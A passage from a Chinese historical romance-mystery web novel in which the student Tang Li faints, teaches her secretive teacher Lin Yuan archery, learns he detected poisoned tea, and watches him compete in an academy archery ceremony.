不等他追出去,蔺渊折返回来,不仅如此他怀里还抱着个唐黎,顾平安急忙迎上去道:“这是怎么了?”
“劳烦您请个大夫过来。”
“我这就去安排。”顾平安连忙安排人去找大夫。
唐黎紧闭着双眼,她的睫毛上现在还挂着泪珠。蔺渊是满眼的担心,想着方才她哭诉的模样就觉得心头紧紧的。
好在大夫诊断没什么大碍。
“姑娘是近日没休息好,饮食不规律,再加上情绪激动从而引发昏厥。我先去开方子,你们想办法先喂她喝点糖水。”
这个唐黎,明知道自己饿不得,还这般作践自己的身体,这不是让人担心嘛。
等她醒了,我一定要好好训斥她!
蔺渊谢过大夫,对顾平安道:“衙门里可有女使?”
“兵马司衙门里全是糙汉子。就连狗都是公的,不过糖水我们还是有的。”
蔺渊看着端来的糖水迟迟没有接来。顾平安又往前送了送,示意对方赶紧喂。
“我……我这样不合规矩吧?”蔺渊有自己的顾虑。
“难不成我们合规矩?”顾平安把碗塞到蔺渊手里道:“你是她夫子,也就是她的师父,能有什么忌讳。谁要敢编排说闲话,我第一个出来给你作证,统统塞牢里去。”
“好吧。”蔺渊舀起一勺糖水喂起来,但是对于平躺着的唐黎来说,根本就没能喝进去几口,只能算是湿润下嘴唇。
一旁的顾平安看不下去道:“你没带过孩子,还没伺候过长辈吗?”
蔺渊愣愣地抬眸,他确实都没有经历过。母亲还没来及老去便在那场劫难中丧命,幼妹更是病死与牢中。
他倒是想带孩子,也想伺候长辈,可老天却不给他这个机会。
顾平安看他那懵懂的样子就知道他没干过伺候人的活,指导道:“你需让唐学子半靠着,这让水才好喂进去。”
蔺渊试着按照顾平安的指导,扶起唐黎让她靠在自己的肩头,这样糖水果然好喂些。
半个时辰后唐黎悠悠转醒,她清醒过来发现自己在蔺渊怀中,看起来瘦弱的蔺渊肩头并没有想象中那般削薄,反而结实宽阔。鼻尖萦绕着一股淡淡地皂角香,让人闻起来感到舒心。
抬头望去正好与蔺渊目光撞上。他正低头温柔的望着她,只是眉头紧皱。
唐黎发现蔺渊总爱皱眉,俊朗的眉宇之间隐藏着莫名的忧愁,他的心中到底压着多少事情啊?
“还不舒服吗?”他的语气很柔和,就像是冬日暖阳一般照亮黑暗。
“恩。”她愣愣地应了一声,扶着脑袋道:“头疼。”
“我这就叫大夫来。”他抬腿就走。
“诶,等下。”唐黎立马拉住蔺渊的胳膊道:“我就是没吃好饭,不用麻烦大夫了。”
“为何不好好吃饭呢?”蔺渊声音很低,却包涵着温柔与担心。方才叫嚷着要教训唐黎的人早已消失的
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无影无踪。
“这不是想赶紧写完文章。”她垂下眸子委屈巴巴的道。
“就这么想破案?”
唐黎立马点头,她手里揪着蔺渊的袖子,好好的袖子都快被她攥成咸菜疙瘩。
蔺渊见她眼神活泛,面色也恢复红晕就知道已无大碍。
可能是怕她再作贱身体吧,今日的蔺渊非常轻易就答应她的要求。
“真的!”她那副虚弱的模样早就荡然无存,高兴地拉着蔺渊的胳膊晃个不停。
“案子等射礼结束后我会去了解。但我不保证一定能破案。”随后又补充道:“你别高兴的太早。文章还是要写。”
“啊~”唐黎拉了个长音表达自己的不满。谁知蔺渊立马道:“再加一篇。”
唐黎即刻闭嘴,在嘴前做了个封禁的手势保证自己不会再发牢骚,生怕蔺渊一个不高兴又要加文章。
蔺渊不禁摇头失笑,起身理着衣袍道:“走啦,回书院。若是赶上山门关闭又该给人添麻烦了。”
“嗯。”唐黎仰起头甜甜地笑起来。
顾平安带着话本子挡住他们的去路,冲着唐黎晃一晃道:“这书是你写的吧?”
唐黎上前就要去拿,顾平安侧身躲闪将书背在身后道:“双水案,梅花针案。你把这些真实发生过的事件写成话本子。可真有你的,唐学子。”
蔺渊狐疑的目光看向唐黎,这两个案子是自己在大理寺做推官时所经手的,看来唐黎不止对梅花针案感兴趣。
唐黎昂着头不以为然道:“朝廷可没有任何律法规定不能写些话本子吧。”
“那非朝廷之人阅览案卷,该当何罪?”
“不过就是编的故事,你有什么证据证明我看过案宗?”
顾平安扬着书道:“这还不简单。经手此案的蔺相公不就在你身边,问问他。”
蔺渊开口道:“顾相公慎言,如今的蔺某当不起相公二字。”
“那就请蔺先生看看这话本子到底是不是瞎编的。”说着就要把书递给蔺渊。
唐黎一把拦截下来道:“好了,我说还不行。”
她之所以怕蔺渊看话本子,是因为双水案被书肆老板改过,里面好多段落实在是难以启齿。要是被蔺渊看了指不定来一顿礼义廉耻、规矩体统的唠叨。
还有就是他那么守礼尊礼,若是看了,怕不是要长针眼。过几天就要举行射礼,他还要上台,可不能给花洲书院丢人。
“咳咳。”唐黎清下嗓子道:“我姓唐,家住京城。父亲任都御史,祖父乃当朝太傅。大哥在刑部任职,二哥在北衙任职,五哥在金吾卫。
哦,对了,大伯在吏部,小叔在御史台。剩下的记不太清,反正我小时候就经常在各处衙门玩闹,翻看些案卷当故事书看。请问顾相公,有何不妥?”
“......”顾平安哪里敢回话啊。他万万没想到竟然与太傅的孙女动了手。
方才没太听清楚,她大伯是在礼部还是吏部来着?
啊呀,别管是哪个部,恐怕会影响年底的官评。
天爷啊,不会影响仕途吧?
若是此刻表现殷勤谄媚反倒落下不好的影响,不如不卑不亢的日后也可说依律询问。
顾平安强撑笑颜道:“既是儿时所为便不该将这些写作故事。若是让有心人模仿去,岂不是间接害人性命?最近的命案想必唐学子有所耳闻,很难说和旧案没有关系。”
“确实没有关系。”蔺渊插嘴道。他虽没细查,但他可以肯定八年前的案子大理寺复审没有问题。他信任大理寺的能力。
顾平安不动声色的踩上蔺渊的脚,瞥他一眼暗示他闭嘴。
唐黎听了进去,觉得顾平安说的有道理,她点头道:“我下次不写了。”
“学子肯听从建议,那便好。”顾平安将书递过去道:“天色渐晚,我送你们回山。”
27. 你就这么讨厌我吗?
六篇文章变七篇,唐黎压力倍增。
这天她结束了功课,拖着疲累的双脚回到寓所。
林焕问道:“不是跟夫子学做学问吗?怎么累成这样?”
唐黎摇摇头直接仰面躺在矮塌上,眼神涣散仿佛丢了魂似的。林焕帮她解开身上的书袋,里面装的是满篇满页的文章。
唐黎捂着脸道:“射礼,全是射礼!”
她腾地坐起来拿起纸张甩着道:“写文章就写文章嘛,讲讲后羿,夸夸李广,最后写个纪昌学射标榜标榜山长和夫子不就成了?偏偏找来鬼都不知道的典故。”
林焕捡着满天乱飞的文章道:“好不容易写出来的,别乱扔。”
唐黎拉住林焕道:“你知道伯昏无人吗?”
“这?这是人名吗?”林焕猜测道。
就见唐黎笑有些疲惫,连带着声音都小了起来:“一个春秋时代的人站在悬崖边与列子比赛射箭,列子都吓趴了,咱们四字大哥面不改色表示夫至人者,上窥青天,下潜黄泉,挥斥八极,神气不变。今汝怵然有恂目之志,尔于中也殆矣夫!”
“这又是什么典?出自何处?”
唐黎摇头晃脑学着蔺渊的口气道:“是射之射,非不射之射也。说……射箭的极致不是射箭,不射却能达到射箭的效果才是真的射箭。你应该追求更高的境界,而不是简单的射箭。
诶,我就奇怪了,咱们考的是科举,又不考道举,学哪门子庄子啊。老小子懂那么多典故,也没见他中状元啊。”
林焕回味的点点头道:“你还别说,这典故倒是适合乡射,正好恭维知府相公。”
唐黎翻了个身,狠狠叹口气道:“天天都是与谢礼有关的文章典故。我都快不认识射这个字了!”
林焕跟着趴过来道:“唐黎啊,断了梅花针案就真能破格为女官?”
“当然,莫大统领有言在先,无论是谁只要破了悬案都可入南衙。”说到此处唐黎的眸子都在发光,仿佛方才疲软无力的另有其人。
但林焕开口就是打击的话:“蔺夫子如果铁了心不想掺和此事,你就不能自己破吗?”
“我想破啊,但就是……”唐黎低下头道:“有点摸不清头脑,现在可以肯定邓州出现的第一枚针就在我手里,而死者是逃荒来的孤女,穷到去复叔医馆偷药渣治病,既没有财也没有色,人际关系清晰明了,根本就没有嫌疑人。”
唐黎也很苦恼,从梅花针出现到现在三个多月,她一直暗中走访,却一丁点线索都没有。要不是接二连三出现梅花针,她甚至都怀疑这针是不小心扎进去的。
“可……就算蔺夫子答应你,这案子也不能算你破的,万一被南衙发现怎么办?”
“这点我早就想过,蔺万宗身份特殊,他躲还来不及呢,又怎会暴露在衙门人前,不会有人知道的。”
“可是……这件案子是夫子帮你破的,入了南衙后你再遇到棘手的案子怎么办?南衙负责的案子都是重案,你会很危险的。”
“先成为女官再说日后的事。”
“可是......”林焕又要说话,唐黎转过身来道:“你有什么话一口气的说完吧。
“其实老老实实科举也挺好的,最起码安全。我知道你武功好,但坏人总是藏身阴暗之处,怕对你不利。”
“明年春上府试,府试过了还有乡试、会试、殿试。往好了想,就算府试挤进前十可以直接越过乡试参加会试,但整个流程下来没个三年你都走不过来一遍。可我没那么多时间了。”唐黎说着说着垂下眸子。
“咱们大好的青春年华,怎么会没有时间。”林焕总是听到唐黎念叨时间不够,却不知其所以然。
“……”唐黎本是不想说的,赶上今日心情郁结,正好想找人一吐心中苦闷,便徐徐道来:“来书院前我本是要嫁人的。那人我见是见过,但不怎么熟悉,对于我来说就是个陌生人。而且听说还是个病秧子,整日泡在药缸里。”
“大家不都是这般嘛?父母之命,媒妁之言。父母挑的总不会差。你也说了,那只是听说,兴许人家身体康健呢。”
“可我不愿意,我是人,我有思想,不是令人摆布的物件。”唐黎越说越激动。
“我以死相逼,终于母亲松了口,与我约定在先,若是三年后我能成为女官,婚姻之事家中再不插手,乃至终身不嫁也绝不置喙。若是未能便要回家成亲。”
她的声音慢慢轻了下去道:“明年中秋就是最后期限。三年时间通过科举走仕途本就不可能完成,这点我从一开始就知道。母亲不过是给我时间让我想通。但我就想拼上一拼。”
林焕从不知唐黎背负这般大的压力,如今理解她为何一心想“捞偏门”当女官。
但她不知要怎么开口安慰,因为在她的认知里唐黎是叛逆的代表,既然选择这条坎坷的路便要承受它所带来的一切痛苦。
二人看着窗边的月亮同时叹了口气。
林焕也愁啊,她没唐黎那么大的志向,只想在邓州衙门做个县衙账房,混口稳定的饭吃。
女吏的录用条件比女官松快多了,过了府试也就是说拿到秀才的功名即可。
偏偏自己的文章写的稀烂,贴经什么的还能死记硬背,唯独这个策论……
唉,自己的年岁越来越大,难不成真就要在这耗下去?
随着月光铺进来,忧愁的气氛笼罩全屋。唐黎盯着月亮,满脑子还在想怎么能让夫子减几篇文章,她实在写不动了。
至于蔺渊本人,他也在看月亮,还非常有兴致的在作画。
笔锋微钩最后一笔完成,他欣赏着佳作甚是满意,指挥着苏天赐将画挂起来,放在堂屋也能让大家赏玩一二。
苏天赐歪头看了看,夸赞道:“好俊的梅花呀。”
等等,梅花!
我画的是梅花?
他不确定赶紧瞅一眼,果真是梅花!
都怪唐黎这些天在耳边念叨梅花针,好好的春色胧月罩桃花成了寒冬凉月映梅花。
画的氛围、意境全变了。
他揉了揉眉心,想着改画却无从下手。
罢了罢了,梅花就梅花吧。
“学生能向夫子讨这副画嘛?”苏天赐眼巴巴的瞅着蔺渊。
他喜欢夫子的画,但一直没好意思开口。刚才见夫子好像不是太喜欢这幅画这才敢开口。
“好啊,谢谢天赐的喜欢。别说这幅,我屋里的,只要是看得上的都可以拿去。”蔺渊答应的爽快,他慈爱地摸着苏天赐的脑袋。
苏天赐满意的离去,院中只剩蔺渊和一盏残茶。
月亮渐渐的被厚云遮盖,很快便落下零星雨点,蔺渊也不躲,只是拿手盖住茶盏,静默地看着远方出神。
雨声淅沥,秋风萧瑟,蔺渊依旧保持着同一个姿势,似乎连动都没有动过。
“干嘛呢!”身后忽然传来一道声音。吓得蔺渊闻言转头,唐黎正站在院门口道:“这么大个人不知道避雨吗?”说完举着伞走来替他挡住大半的雨。
这般近距离实在不妥,就连一向大咧咧的唐黎也红了脸,她实在没想到伞下挤着两个人竟连呼吸间都是对方的气息。
很快蔺渊撤步躲开,唐黎举着伞的手微动,她在给蔺渊打不打伞间犹豫。索性把伞丢给蔺渊最终选择自己淋雨。
谁让他身子骨虚,淋了雨明天又该生病。我们这些个学子还得伺候他。
蔺渊虽然接过伞,但伞的遮盖范围始终在唐黎身上。
“多谢唐学子的好意,这雨不大,不碍事的。”蔺渊对她露出感激的笑容,然后问她为何大晚上的出现在夫子寓所。
书院里只有两位女夫子,教琴艺的吴夫子住在西山道观,第一斋的杨夫子每日都会回山脚下的草堂。按理说唐黎不该日落后出现在此,实在于礼不合。
“早上碰到吴夫子,她让我给您送个琴谱。”她从怀里掏出几本册子道:“我这不是
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刚想起来,就赶紧送来了。”
二人没有进屋,来到一旁的廊下蔺渊将伞还回去道:“天色已晚,快些回去歇息吧。”
“你方才在想什么?想的那样出神?是案子吗?”唐黎满眼期待,她十分期待案子有进展。
“哦,也没什么。”蔺渊随口找了个理由遮掩道:“担心射礼。怕完不成山长交来的重任。”
“你不会射箭?”不应该啊,这可是君子六艺,自古以来书院都有的课程,他不至于不会。
“马马虎虎吧。主要是太久没摸过弓箭。”蔺渊说的含糊。
“正好我那有上好的弓,明日送来给你练练手。”
“嗐,我这人射艺一般,再好的弓箭给我也白费。不劳唐学子费心。”
唐黎仿佛没听懂蔺渊婉转的拒绝,还在说着:“没关系的,我尤擅弓箭,明日我来教你。”
“不不不。”蔺渊连忙拒绝。
唐黎这下听明白了,好意被人拒绝的的彻底。她面上有些挂不住:“你就这么讨厌我吗?”
“没有。”
“还是说你觉得与我亲近便是坏了你的体统,你的规矩?”
“……”蔺渊没有回话,他只是觉得自己不该与唐黎接触太深。唐黎也不该离自己这般近。
“哼!”唐黎生气了,她明明是看蔺渊为此事烦恼忧心才开口相助的。有那功夫我干什么不好陪你射箭玩儿?
“没想到在你眼中我竟是这样的人!哼!”唐黎怒视着蔺渊,杏眸瞪得溜圆。
看来这次是真生气了。蔺渊觉得有必要哄一下,要不然闹的太僵,他真怕唐黎把自己的身份捅出去。而且以唐黎的家境,南衙估计压不住。
“我不是那个意思。现在离射礼还有一天,练不出什么效果的,所以就不麻烦学子。”
“这么说你不相信我的能力?”被质疑能力的唐黎同样不开心。
“这....”蔺渊摇了摇头,讨好的笑道:“也不是这个意思,学子误会了。”
“什么这个那个的,磨磨唧唧的到底是什么意思?”唐黎双手叉腰,一副质问的姿态。
最后把蔺渊逼问的没辙了,他弯腰拱手道:“明日就劳烦唐学子。”
“校场见。”唐黎回了个礼,撑起伞走入雨帘。
唐黎尤爱红衣,朦胧的雨雾中那道红影格外耀眼。就连向惹人伤感的秋雨都变得轻快起来。
秋风一吹蔺渊打个冷颤,他慢慢地收回视线。躲是躲不掉了,他看了眼缠着纱布的手,也不知道伤成这样还能不能握弓。
鸡鸣三声,又是新的一天。
唐黎伸个懒腰看天色还早就想再眯一会儿,翻个身又睡了过去。
“坏了!”突然猛地坐起身子,把一旁的林焕给吓一大跳:“怎么了这是?”
见唐黎起来穿衣裳,林焕又道:“你睡糊涂了?今儿没有早课。”
“我答应要教夫子射箭的。”她蹬上鞋以最快的速度奔向校场。
晨练的同窗看到唐黎还打趣道:“咱们书院的教头总算出现在该出现的地方,唐师妹,过过招?”
“余师兄我还有事,再会~”
“诶,师妹,师……”余平举起的手还没未放下唐黎已经跑到没影。他身边的兄弟笑道:“哪有与佳人对话上来就过招的?”
“自从唐师妹从五斋调到十八斋后就见过两面,拢共说过一句话。”他还在望着唐黎远去的方向。
“什么话?”
“余师兄,山长让你去领五斋的笔架。”他对当时的情景记得是一清二楚,甚至反复回味。
“哈哈哈哈哈。”他同窗笑的开心,也不忘撺掇他道:“还不快追上师妹,看她跑那么快,别是心系有情人。你看了也好死心啊。”
“可别胡说。”余平扬起的拳头放了下来,挑眉道:“我这就告诉唐师妹,保证让你的脑袋变猪头。”
“想去就去呗,别拿兄弟当借口。”
28. 教蔺渊射箭的唐黎
唐黎一口气跑到蔺渊面前,蔺渊捧着弓箭正笑盈盈的看着她。唐黎平息气口后行礼道:“我没来晚吧?”
蔺渊抿了口茶,指了下小桌上的烧饼道:“先吃点东西吧。”他惦念着唐黎的身体,怕她早起过来没来及吃早饭。
唐黎确实没来及吃饭,她咬了口饼道:“没有等太久吧?”
“没有。”蔺渊虽是这般说,实际上已经等了半个时辰。期间有无数学子路过问好,顺便帮人修改五篇文章。
吃完烧饼的唐黎刚要喝茶,蔺渊伸手盖在茶碗上道:“刚吃完东西半个时辰不要喝茶,对肠胃不好。”
“哦。”唐黎乖巧听话。她拿过一张弓来塞到蔺渊手中:“你先射一箭我看看。”
弓箭对于蔺渊来说并不陌生,他十岁入书院,六艺之中最为擅长的便是这射艺。只是多年未执弓,此刻执弓而立,倒让人有种恍如隔世之感。
“勿缩颈,勿后仰,勿挺胸....”唐黎也不知道从哪里变出个小戒尺,敲着蔺渊的肩头道。
“后脚如瘸,前脚如撅。你腿是假的吗?打弯都不会吗?”
“这.....”
这不是师兄训导我的话吗?
蔺渊愣愣的抬眸,俊秀的眉眼忍不住皱了起来。此刻在他的脑海中唐黎的声音与师兄的声音叠加一处。
少时第一次拉弓便是师兄教导的,他也是这般强调拉弓的姿势,连方才戒尺打过的地方都那般相似。
唐黎见蔺渊走神,拿着戒尺在他眼前晃了晃道:“看我干嘛?看靶子,射箭。”
蔺渊手指微松,箭离弦而出,连靶子的皮都未碰到。
对于这样的结果唐黎并不觉得意外,心不在焉的射箭,能射中才怪。还有持弓的姿势,哪有这般拿的?
唐黎示范一遍,扭头问道:“姿势对了事半功倍。看明白了吗?”
蔺渊点点头,但他接下来的动作告诉唐黎他根本就没明白。
“哎呀,你的胳膊....”唐黎嫌弃戒尺纠正不过来,索性扶上蔺渊的胳膊,又见他拉弓的那只手也别扭,便来到蔺渊面前帮他调整姿势。
这样一来二人的距离就非常近,唐黎相当于整个人钻进蔺渊的怀里。
“这样不好吧?”蔺渊小声提醒道。
“你懂什么,拉弓的胳膊就该如此,这样好的很。”她完全没发现自己的行为有任何不妥,继续帮蔺渊摆好姿势后才点点头道:“射箭吧。”
这次的效果要好一些,总归是射到靶子上。
“你看,我就说我能帮你吧。”唐黎仰头笑盈盈道。
蔺渊被她的笑容所感染,也跟着笑了起来,他的笑容很浅很淡,却带着难以言喻的温暖舒适之感。唐黎心头微动,不知怎么的就想把面前人的胡子给剃掉,到底看看没有胡子会是何等模样,是否真如林焕所猜想的那般俊朗。
嗯.....反正他眉眼倒是挺漂亮的,鼻梁也挺。就是这嘴巴、下巴被胡子遮盖的看不清楚。
既然他隐藏身份进书院,那他的胡子很有可能是假的喽。
想到这,抬手就揪上蔺渊的胡子,蔺渊完全没想到唐黎会来这么一下,躲是没来及躲还被揪掉胡子。
“啊!”蔺渊疼到往后撤步,他干脆坐回到椅子上。
“竟然是真胡子诶。”唐黎观祥着胡子囔囔道。
“你....”蔺渊揉着下巴,他真的被揪的很痛。
“蔺夫子!”余平等人边喊边跑。清晨的靶场难得来这么些人,然后唐黎稀里糊涂被余平拉着比箭术。
至于蔺渊,正盯着远处与余平耍的开心的唐黎。
和师兄们有说有笑的,怕是早把自己抛到九霄云外去了。
不是说来教我射箭的嘛?
蔺渊委屈的努努嘴,像被遗弃的大黄狗似的浑身散发着可怜劲儿就差呜咽两声。
“学兄好兴致,来看学子们射箭?”吴夫子不知何时出现在蔺渊身后。
蔺渊重新调整情绪,又挂上温温尔雅的笑容道:“吴夫子请坐。”
两位夫子坐定,齐齐将目光投向前方。蔺渊与她不过是一本琴谱的缘分,自然无话多说。
吴夫子率先开口道:“学兄明日射礼准备的如何?”
“尽量不为书院丢脸。”
“我相信你的能力。”说完转眸看向蔺渊,那眼神像是已经将人吃透般,让蔺渊觉得不太舒服。就听她继续说道:“昨日我让唐学子送你的谱子看了吗?”
“是诗经的驺虞。射礼上惯用的曲子。”
“看了就行,我怕你会忘记。”她刚要拿过一旁的茶盏,蔺渊制止道:“这杯我方才喝过。校场简陋没有空余的茶盏,吴夫子见谅。”
他抬手间闪过一抹红色,吴夫子眼尖,她指着道:“你的手在渗血!”
其实蔺渊一直能感觉到手掌的刺痛,估计是拉弓导致伤口裂开,渗血也属正常。毕竟那么深的刀口,没那么快能长好。
“给我看看。”她看起来挺紧张蔺渊的。
“这就不必了吧。”蔺渊是不想让人知道自己受伤一事,因为那是一处明显的刀伤,若是被人看出肯定会起嫌疑,到时候再把官兵招来。
“伤的重不重?让我看看。”吴夫子直接要去拉蔺渊的手。
“呀?发生什么了?”唐黎一个跨步挡在二人之间。
她了解蔺渊的脾气,肯定会避免与女子接触,几下拉扯又该碰到伤口喊疼了。
蔺渊偷瞥了眼面前的唐黎,本以为她跟师兄玩的开心,没想到还记挂着自己。心中竟觉得舒畅不少,立在唐黎身后不由得挺直腰背。
吴夫子笑着解释道:“我见你夫子的手渗血,就想着帮忙重新包扎一下。”
“多谢吴夫子关心,学生这便带蔺夫子回去包扎。”
“那就好,注意别见水。”吴夫子没多说什么,起身道了告退。
唐黎坐到一旁悠闲地捧起茶盏道:“吴夫子对你蛮好的嘛,我可没见过她对谁这般上心。你蛮厉害的嘛,刚来书院几天就引来吴夫子的青睐。”
蔺渊却不那么觉得,吴夫子对自己的关心无关情爱,这点他看的出来。只是为何如此关心却没想不明白。
眼看唐黎就要喝茶,蔺渊压低声音提醒道:“茶有毒。”
唐黎未表现出半分不妥。她就知道,跟在蔺渊身边总会遇到些刺激之事。
她眼珠子乱窜,发现蔺渊的那杯茶已然见底,周围又没有水渍,那说明是已经喝掉。
所以,茶水有毒的结论是他尝出来的?
“……”唐黎满眼关切的看向蔺渊。
还不知道是何毒?会不会致命?如今书院准备乡射还封了山,这毒该如何解啊,复叔要是在就好了。
蔺渊目前面色无碍,他点了下茶盘,装作若无其事的起身道:“先回寓所。”
“是,夫子。”唐黎端起茶盘配合的起身。
直到走进寓所蔺渊也无半分不适,唐黎拉过他的手腕把脉,确实无异常。
银针入茶盏却发生反应,蔺渊说的没错这茶真的有毒。
但他怎么会没事呢?
莫不是江湖中的一种秘术——百毒不侵?传闻要想百毒不侵必须要在毒水里泡上七七四十九天。
咦?那蔺渊的皮肤为何还如此白皙?不该被染黄或者染红吗?
蔺渊不知道自己在唐黎脑海中已经离谱到何种境地,他嘱咐道:“此事保密。”
说完就拿着锄头在院中挖个小坑,将沾了毒
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的茶盏埋进去,唐黎不理解蔺渊为何要息事宁人,她义愤填膺道:“应当立马报官,下毒害人,此人不抓留着过年吗?”
“我有我的打算。”蔺渊是不想牵连书院的学子,因为这茶是学子奉上的,若是衙门查起来便会提走学子审问,这不是给人带来无妄之灾嘛。
“你来书院到底是为何事?我可不信你是来当夫子的。不然平白无故的毒你这个夫子作甚?”突然发问让蔺渊错不及防。
“请你放心我对书院是没有歹意,对你们也没有。”蔺渊只能点到为止,他低头理着袖子明显不愿多说。
“你又不说!我这就报官,连你一同举报。”唐黎扭头就走,走前还把院子中摆放整齐的农具全部踢倒,以彰显自己的不满。
但是预想中会追上来的蔺渊没有出现。
好啊,他是一点都不怕啊。
他凭什么不怕?他是贼!贼不怕官,天理何在?
其实在唐黎内心深处是在担忧蔺渊,今儿有人敢用毒,明儿指不定有什么等着他呢。
他又不会武功,说出来自己也能护他一二,可他偏偏什么都不说。
气冲冲的唐黎大步朝前,迎面碰到山长使她不得已停下脚步行礼问好。
“唐学子何事急走?”
“学生的书落在讲堂,正打算去取。”唐黎低着头回话道。
山长捋了捋胡子道:“你母亲来信过问你的学业。”
唐黎头低的更低,根本看不到她的神色:“我现在是十八斋的,母亲很得意吧?”
“唐学子,莫要敌视你的母亲。她关注你的学业也是关心你。”山长慈爱的眼神包裹着唐黎。
像她这个年龄的孩子或多或少都与家中有矛盾。
远的不说,就说十八斋的上官竹,与家里闹成那样,不过是祭祖时被父亲不痛不痒的训斥两句,就散起德行来顶撞父亲。还在府试逞一时口快写文章辱骂主考官,这不是拿自己的前程赌气吗。
唐黎的情况也差不多,总是曲解长辈的关心。
骨肉至亲怎么就闹成这样,明明是满心满眼的担心,说出口的话却变了味道。
“别人不知道我为何从京城来邓州的,山长还不清楚吗?母亲就是在逼我认输。我偏不。”
一年了未曾写过一封信。离府试还有四个月来信,不问我健康与否,想家与否,只问我的学业。
呵,母亲的意思挥之欲出,她是在提醒我府试将至,以你的本事是考不过去的,乖乖回家吧。最终还是听从家里的安排,永远不可能飞出大人的手掌心。
可我偏不认输。
唐黎倔强的姿态让山长感慨万分:“你的性子真的很像你的母亲啊。”
“……”唐黎低着头没有回话。
“好了。”山长笑笑挥散方才的不愉快,鼓励着唐黎道:“虽说你才来书院两年,但老夫相信你定能通过府试。”
唐黎狠狠的点点头,她同样对自己有信心。刚来书院时她就有信心,偏偏莫名其妙的生病导致错过府试。有前车之鉴,这次定会避免此事发生。
山长又嘱咐几句才离开,唐黎一天的好心情被母亲的信给打搅,她现在什么都不想做,颓废万分的回到寓所趴在塌上,一趴就是一天。
至于吓唬蔺渊下山报官的事,唐黎早就抛之脑后。蔺渊也压根没放在心上,他悠哉悠哉的整理农具,直到排放整齐才满意的露出微笑,颇为轻松的吐了口气。
乡射在即,兵马司的兵守在山口,唐黎就算真想报官也得等到乡射结束,更何况她也只是威胁威胁。这姑娘,最是嘴硬心软。
蔺渊换完衣服,看了眼袖子全湿的长衫,刚才的毒茶全部吐在此处。
他对于下毒之人同样是没有思绪。
29. 射礼(一)
乡射如期举行,知府相公带头射出一箭,剩下的表演时间就交给书院的夫子和学子们。
花洲书院派出三位年轻的夫子,各个英俊潇洒,比其他书院派来的老夫子看起来要赏心悦目许多。
花洲书院本就是主场,夫子又这般得脸,可把学子们激动坏了,五颜六色的小彩旗奋力的舞动起来。
林焕垫着脚尖,向来腼腆的她也为自己的夫子大喝几声彩。
蔺渊执弓而立,神色淡然地望着远处。鼓点一声接过一声,按规则执弓者不仅要射中靶子,还要随着鼓点引弦放箭,否则即使中靶也不算。
周遭的风声模糊掉喝彩和掌声,蔺渊想着唐黎教导的话:“勿缩颈,勿后仰,勿挺胸....”
箭簇离弦而出,伴随的鼓点准确无误地钉住远处一棵大树上,箭头微颤几下随后稳稳地停住不动。
“哎呀!”
蔺渊脱靶让学子们失望不已,看着挺大个子,还不如人家隔壁书院的老夫子手稳。
好在第一番为习射,不管射中与否都不记入成绩,喝杯罚酒就算过了,所以大家也没那么沮丧。
上官竹爬到树上,维护自家夫子道:“我家夫子手有伤,下次一定中。”
唐黎举起扇子挡住刺眼的阳光,眯着眼望着远处的蔺渊。他的手掌伤到见骨,此刻能拉满弓就算不错,怕是伤口要裂开。
刚喝完罚酒的蔺渊抬眸正好与唐黎对视,他仿佛看到唐黎骂了句废物。
这真是冤枉唐黎,她明明说得是“伤口”,本意是让蔺渊注意伤口。也不知蔺渊是啥眼神,愣生生的看成废物。
“废物。”蔺渊微微轻笑,落到此等田地可不就是废物。他不抱希望的举起弓来,但激昂的鼓点令他听着耳熟。
这是……驺虞?
那年的乡射奏的也是驺虞,是师兄擂鼓助威。
蔺渊满眼希冀的回头望去,乐工们正摇头晃脑的演奏甚是喜庆。
“我在想什么,怎么可能是师兄。”蔺渊突然觉得没什么意思,刚拉起的弓又放了下来,他干脆要放弃。
“蔺学兄在说什么?”身旁麟城书院的夫子好心问道。
“看来第二番又要输给钱学兄了。”
“胜败乃常事,不必计较得失。”说完一击命中,观礼处响起一声声喝彩。
钱夫子长吁一口仿佛卸下重担般。他那样子一点都不像不计较得失。
他指着身后观礼处的学子们道:“瞧见没,我是为这帮小崽子们射的箭,年轻孩子好斗气,我可不能给他们输阵。”
蔺渊同样回首,花洲书院的学子并没有因为第一箭的失利而垂头丧气,他们拼命挥舞彩旗激励着蔺渊,这群学子中有个人上蹿下跳的最明显,正是上官竹。
“夫子你一定能中!”他不仅自己喊还花钱让隔壁邓县书院的学子跟着一起喊。
钱夫子拍拍蔺渊的肩头安慰道:“不必有压力,花洲书院每次都垫底。他们都输习惯的。”
学子们期待的眼神让蔺渊莫名燃起一股之斗劲儿,他活动下被裹在纱布中的手。这次他选择全掌全力的包裹住弓,搭箭松弦一气呵成,直接命中靶心。
“好!”全场立马响起热烈喝彩声。
蔺渊只是笑笑,此刻手上的疼痛越来越明显。他又拿了只箭,箭尖再次离弦而出,稳稳地落在靶心,箭尾颤动发出一阵嗡鸣声。
“花洲书院蔺万宗全中!”司射挥旗汇报成绩道。
花洲书院的学生一拥而上,将蔺渊围绕起来。
“神了!”
“蔺夫子您太厉害了!”
这是两年来花洲书院第一次两番全中。
山长嬉笑眉开,捋着胡子觉得这次派对了人。
其实他选蔺渊是看他面皮不错,充充场面。一开始就没抱希望,倒不如让观礼者赏心悦目以此记住花洲书院,这也是为何花洲书院出场的都是些年轻俊美的夫子。
蔺渊被学子们簇拥离开,麟城书院的学子摸不着头脑。出场三人,才出一人的成绩至于这么兴奋吗?
上官竹高兴到直接将蔺渊抱起转圈,蔺渊只觉头晕眼花但依旧被周遭喜悦氛围所感染,脸上笑意满满。
这时就听司射喊道:“花洲书院唐黎四中井仪!”
众人一听连忙丢下蔺渊涌向唐黎,只留上官竹跟在蔺渊身边。
蔺渊问道:“唐黎赢了你怎么不去道谢?”
上官竹不以为然的摆手道:“唐黎不赢才奇怪。她要是早参加,咱们书院也不至于次次老末。”
果然他与唐黎是有亲戚关系,竟然这般了解。
“那你呢?你弩箭很有准度,射艺定不再话下,为何不替书院争光?”
“我觉得没意思。下午的打猎才有意思。”他憨厚的笑了几声。
“快去准备吧。我等你的猎物。”
“哈哈哈,老夫也等阿竹的猎物哦。”山长在苏天赐的搀扶下走了过来。
上官竹问候完就道了告退,山长看着上官竹远去的背影道:“阿竹挺喜欢你的,不容易啊。”
“上官学子赤诚,学生也挺喜欢他的。”
山长满意的点点头,他打量着蔺渊,发现每次见他都是通身白衣。岁数大的人爱热闹,眼里见不得年轻人着素服,于是忍不住问道:“家中是有事吗?”
“哦。”蔺渊明白山长的意思,他垂下眸子道:“家兄英年早逝……”现在整个白虎山都在为雷正戴孝。
蔺渊并未多说,山长也没多问,嘱咐了几句道:“兄弟之间再亲厚也要遵礼。服丧也要讲究时间。”
